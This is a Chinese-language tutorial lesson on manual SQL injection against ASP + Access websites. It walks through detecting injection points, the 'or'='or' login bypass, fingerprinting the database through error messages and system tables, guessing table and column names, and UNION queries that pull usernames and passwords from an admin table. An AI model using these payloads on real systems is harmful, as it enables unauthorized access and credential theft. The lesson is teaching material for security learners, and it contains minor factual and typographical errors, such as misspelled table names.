第07课:ASP

第07课:ASP + Access 手工注入

本节课内容为:ASP + Access 程序结构的手工 SQL 注入,旨在让各位读者了解这种注入类型的重点。

SQL 注入我分成两部分来讲,第一部分来讲 ASP + Access 程序模式来讲实例。

SQL 注入的特点

SQL 注入的特点是利用正常的 HTTP 服务,一些防火墙的软硬件都无办法。

SQL 注入漏洞存在的原因

漏洞存在的原因:程序对用户的输入未做过滤。

实例:ASP + Access 程序的手工 SQL 注入

判断注入点 www.xx.com/a.asp?id=1。

要注意的是网址都要跟一个参数才能进行手工 SQL 注入,比如上面的“id=1”,如果有注入,那么他的注入点则是“id”。

那要如何去测试一个 ASP 程序网站是否存在注入漏洞呢?

最直接的办法就是在参数后面跟上“and 1=1”。

enter image description here

图中是一个基于 ASP + Access 的网站程序,找到他的参数,跟上测试语句“and 1=1”试试。

在执行了 and 1=1 之后,网站刷新了页面,并且给出了与以前一样的页面。

那么执行 and 1=2 呢?

enter image description here

如上图所示,执行了 and 1=2 之后,网站内容无显示报错。

到这里为止,我已经可以初步推断该网站存在 SQL 注入漏洞了,为什么呢?读者可能很疑惑为什么能如此推断呢?

SQL 注入原理详解

其中原理就是 and 1=1 返回正常是肯定的,因为 1 在逻辑上来讲肯定等于 1,程序返回正常也符合逻辑。那么 and 1=2 此处存在明显的逻辑错误,而且查询时又怎么能够找出<页面内容> and 1=2 这个页面呢?所以报错,报错了那么我们就可以判断,程序未做过滤,直接把用户的输入带入了查询,就能够说明存在注入漏洞。

如果对数据库 “and” 这个参数不理解,可以解释一下。

  • and 1=1 返回正常;
  • and 1=2 返回错误;
  • “and”是逻辑语言中“和”的意思,你和我,1 和 2 都是如此;
  • and A=B 意思是 A 和 B 如果都是正确的,那么程序为真,程序返回正常;
  • 先判断条件 A 正常则判断条件 B,如果条件 A 错误,就会直接返回错误;
  • “or”则是逻辑语言中“或”的意思;
  • or:或 A and B:只要有一个结果为真就返回真。

ASP 程序万能密码案例

拿万能密码的案例来讲,在一些 ASP 程序中,有很多万能密码这种案例。

万能密码: 'or'='or'

原理是这样的:sql=select * from user where username='username' and password='$password'

这个句子不难,很好理解,用户名等于数据库中的“nsername”,密码等于“password”才能登录成功。

如果改成这样子呢?

from user where username=‘’or'='or‘’ and password='$password'

看清楚,'or'='or' 那里是两个单引号,在第一个等号前加单引号是为了闭合,前面两个单引号闭合,末尾两个单引号闭合,只留下 or'='or,这下可以清楚的看出,单引号等于单引号,逻辑成立。一个条件成立了,就返回真,所以不需要后面的 “and password” 运算了,自然就出现了万能密码,不需要密码只需要用户名就可以进入程序后台,密码是什么根本无关系。

但是现在安全编程里面都做了要求,万能密码的情况在逐渐消失了。

回到上面,对于一个网站程序,该如何知道它的数据库类型呢?最简单的办法就是在参数后面增加一个’单引号。

enter image description here

可以看到已经报错了,并且回复了以下信息:

Microsoft JET Database Engine 错误 '80040e14'
语法错误 (操作符丢失) 在查询表达式 'id=142鈥' 中。
/thjx_xx.asp,行 79

就此,我们可以推断该数据库是 Access 类型的数据库了。

还有另外一种方法,是查独有表得出来的,因为现在很多网站都对单引号做了过滤,无法根据报错来得到结论,如果有这种情况,就可以使用下面这种方法。

手工查数据库类型方法

and (select count (*) from 独有表)>0

enter image description here

Access 的数据库独有表名是 “mssysobjects”,所以直接带入查询即可。

需要注意的是:这些表是默认表,不会有人删,但是有人手贱也不一定,比如图中就是被删了…因此我还是推荐更多的使用单引号来进行判断。

各个数据库独有表名

msssql:sysobjects
mysql:infomation——schema
access:mssysobjects
Oracle:sys.user_table

手工注入 Access 查表

如果猜测数据库的表名是 admin,那么执行语句如下:

and (select count (*) from admin)>0

如果结果返回正常,表就存在,如果返回缓慢,表则不存在。

查询 admin 表的个数,来和 1 比较,肯定大于 1,那么就会返回正常,就存在这个表。

enter image description here

测试返回正常,存在“admin”表名。如果找到注入点了,请各位读者手动查询,表可能很多。

Access 手工查字段

上面我们已经知道了存在 admin 表名,就可以查这个表名的字段了:

and (select count (name) from admin)>0

查询“name”字段,报错,不存在 name 字段。

enter image description here

and (select count (id) from admin)>0

查询“id”字段,页面返回正常,得出 admin 表里拥有 ID 字段的结论。

enter image description here

判断字段长度

接下来该做的就是判断长度,这里需要用到“len”的函数:

and (select top 1 len (id) from admin)>2

这个语句是什么意思呢?求这个 ID 字段大于 2,返回正常,大于 2 返回错误,说明长度是2。

select * from 表 where len(字段) = 值

enter image description here

换成等于符号也可以:

and (select top 1 len(id) from admin)=2

enter image description here

等于 2 也正常返回,说明字段长度就在 2。

一般用户名也就英文格式,几个,按个按页面返回进行猜解吧。

还有一种是联合注入的方式,比较简单,就不放图了,希望读者能够根据上面的图正确理解联合注入。

联合注入的方式

联合注入首先需要用 order by 来确定列表数:

  • order by 5 显示正常;
  • order by 6 显示错误。

说明数据库里只有五个列表,那么,我们猜表名。

union select 1,2,3,4,5 from admin

查询是否存在 admin 这个表名,如果有就返回正常,没有就错误。猜表数据

union select 1,username,password,4,5 from admin

admin 如果存在 username,password 两个字段就会被爆出来,如果没有,就会直接报错。

到此算完成了一次 ASP + Access 的手工注入,这种结构进行 SQL 手工注入十分的麻烦,因为 Access 数据库只能靠暴力破解,不是很喜欢,还好现在多用 PHP + MySQL 结构了。

本课到这里结束,下节课讲解 PHP + MySQL 结构的 SQL 手工注入。

上一篇
下一篇
目录